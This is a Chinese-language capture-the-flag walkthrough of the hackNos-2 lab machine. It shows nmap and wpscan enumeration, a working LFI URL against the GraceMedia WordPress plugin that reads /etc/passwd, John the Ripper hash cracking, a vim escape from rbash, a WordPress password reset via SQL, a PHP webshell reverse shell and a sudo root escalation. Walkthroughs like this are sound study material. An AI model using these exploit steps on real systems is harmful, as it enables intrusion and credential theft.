hackNos-2

2020-02-11-14——2020-02-12-13

1
2
3
4
5
6
7
Difficulty : Easy to Intermediate

Flag : 2 Flag first user And second root

Learning : Web Application | Enumeration | Password Cracking

## Changelog - 2019-12-13 ~ v1.1 - 2019-11-29 ~ v1.0

1
2
3
Kali:192.168.56.109

目标网段:192.168.56.1/24

信息收集


主机存活扫描:

1
$ nmap -n -sn -T5 -v 192.168.56.1/24 | grep -B 1 "Host is up"

找到目标地址后,扫面服务及操作系统:

1
$ nmap -n -Pn -sV -O 192.168.56.113
1
2
3
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

枚举

访问 80 端口,略过 Apache 的干扰视线页面,直接扫目录:



目录访问如下:

1
2
3
http://192.168.56.113/index.html		# Apache 页面,无有价值信息

http://192.168.56.113/tsweb # 主要目录,WordPress 5.3

WordPress 扫描:

  • Cmseek :简单扫描
  • wpscan :详细扫描

1
2
3
cmseek.py -u http://192.168.56.113/tsweb

wpscan --url http://192.168.56.113/tsweb/

WP 一般就是插件方面的漏洞比较多,searchsploit 也多是插件与主题的漏洞,扫得:

  • 插件:gracemedia-media-player version 1.0
  • 用户名:user


试着爆破一下后台 wp-admin ,需要收集一些社工资料,在tsweb 主页有个 about

得到靶机作者姓名,然后生成字典,Burp 跑爆破,无果……



回到上一步,搜索 gracemedia-media-player 插件,有个 LFI 漏洞,利用成功,得到一个用户:

1
http://192.168.56.113/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

WordPress GraceMedia Media Player 1.0 Local File Inclusion



1
flag:$1$flag$vqjCxzjtRc7PofLYS2lWf/:1001:1003::/home/flag:/bin/rbash

/etc/passwd 的格式中,第一栏是 用户名 ,第二栏是 密码 ,破解 Hash,各大破解网站都试了一遍,除了 cmd5.com 有记录外(付费),其他要么不识别,要么无此条目


登陆

搜了一下 Write-up ,使用 Jhon 破解。得到密码(topsecret):

1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long 1.hash


登录 SSH 成功,shellrbash ,一个受限制的 shell ,使用 Vim 绕过:

1
2
3
4
vim

:set shell=/bin/bash
:shell


信息收集


查看 sudo -l 可以干什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sudo -l
# Sorry, user flag may not run sudo on hacknos.

# SUID 无有价值程序
/bin/su
/bin/mount
/bin/fusermount
/bin/ping
/bin/umount
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newuidmap


想到之前在 /etc/passwd 看到还有一个 rohit 用户,HOME 目录有访问权,无查看权,需要提权

搜一波相关内容文件,得到 rohit 的密码哈希,丢后台破解:

1
grep -ri --color=auto --exclude-dir=proc/ 'rohit' / 2>/dev/null



继续收集信息,有 WordPress 肯定就有配置文件和 MySQL,进入网站根目录下:

ls -al 显示着唯一同时具备 rw 权限的文件,有猫腻,得到数据库名及一组用户名密码:

1
2
3
4
5
6
7
8
# DA_NAME:
wordpress

# DB_USER:
wpuser

# DB_PASSWORD:
hackNos-2.com



登录数据库:

1
$ mysql -h localhost -u wpuser -p hackNos-2.com
1
SELECT * FROM wp_users;

又得到一组用户名与密码(被加密),有密码需要破解,又没钱,只能看 Write-up ,可以改密码:

1
user:$P$B.O0cLMNmn7EoX.JMHPnNIPuBYw6S2
1
2
# 改密码为 user
update wp_users set user_pass=md5("user") where user_login='user';



目前账号信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 低权限用户(rbash),已经无价值了
flag:topsecret

# Mysql 登录
wpuser:hackNos-2.com
# 无法 SSH/Web 后台

# --------------------------------------------

# WordPress 用户,可登录 Web后台
user:$P$B.O0cLMNmn7EoX.JMHPnNIPuBYw6S2 改为:user


rohit:$1$rohit$01Dl0NQKtgfeL08fGrggi0

反弹 shell


后台密码破解中。先去 WordPress 后台看看


登录 WordPress 后台,试着能不能上传文件,反弹个 shell ,添加的新文章内添加代码被直接显示出来,不被渲染,还有个 插件编辑 的,写入 PHP 木马,监听端口,访问木马页面,反弹成功,www-data 用户:



1
2
# 获取一个交互式 shell
python -c "import pty;pty.spawn('/bin/bash')"

一波查看,这个用户似乎也干不了什么大事,权限也不够


提权

rohit 的密码没跑出来, cmd5.com 收费,若是真实渗透的话,充值一下也无所谓

这里直接看的 Write-up ,密码明文:!%hack41


SSH 登录 rohit ,看看可以干什么……ALL。查看 HOME 目录,得到一个 FLAG 和 一个 MD5 Hash:

1
2
3
4
sudo -l

User rohit may run the following commands on hacknos:
(ALL : ALL) ALL



查看是否还有其他有价值的信息:ls -al , (o゜▽゜)o☆[BINGO!]

1
.sudo_as_admin_successful

这个可使用 rohit 的密码切换成为 root 用户,得到 root.txt






这里似乎登录 WordPress 后台没什么作用,只是扩大了信息,或许以后会发现他的用处


这里难的地方就是 Hash 破解了吧,没台好机器,没个好字典,没个好在线工具




看了一下别人的 Write-up 发现自己忽略了一个提权方式(这就是缺乏经验吧……):

1
2
/usr/bin/passwd
/usr/bin/sudo

搜索 SUID 的时候,出现的 sudopasswd 可以配合修改 root 的密码

因为 flag 用户不在 sudoers 中,无法提权,但是 rohit 在。


这里就是为了记一下, sudopasswd 同时有 SUID 权限,且用户位于 /etc/sudoers 中的时候,可以修改 root 密码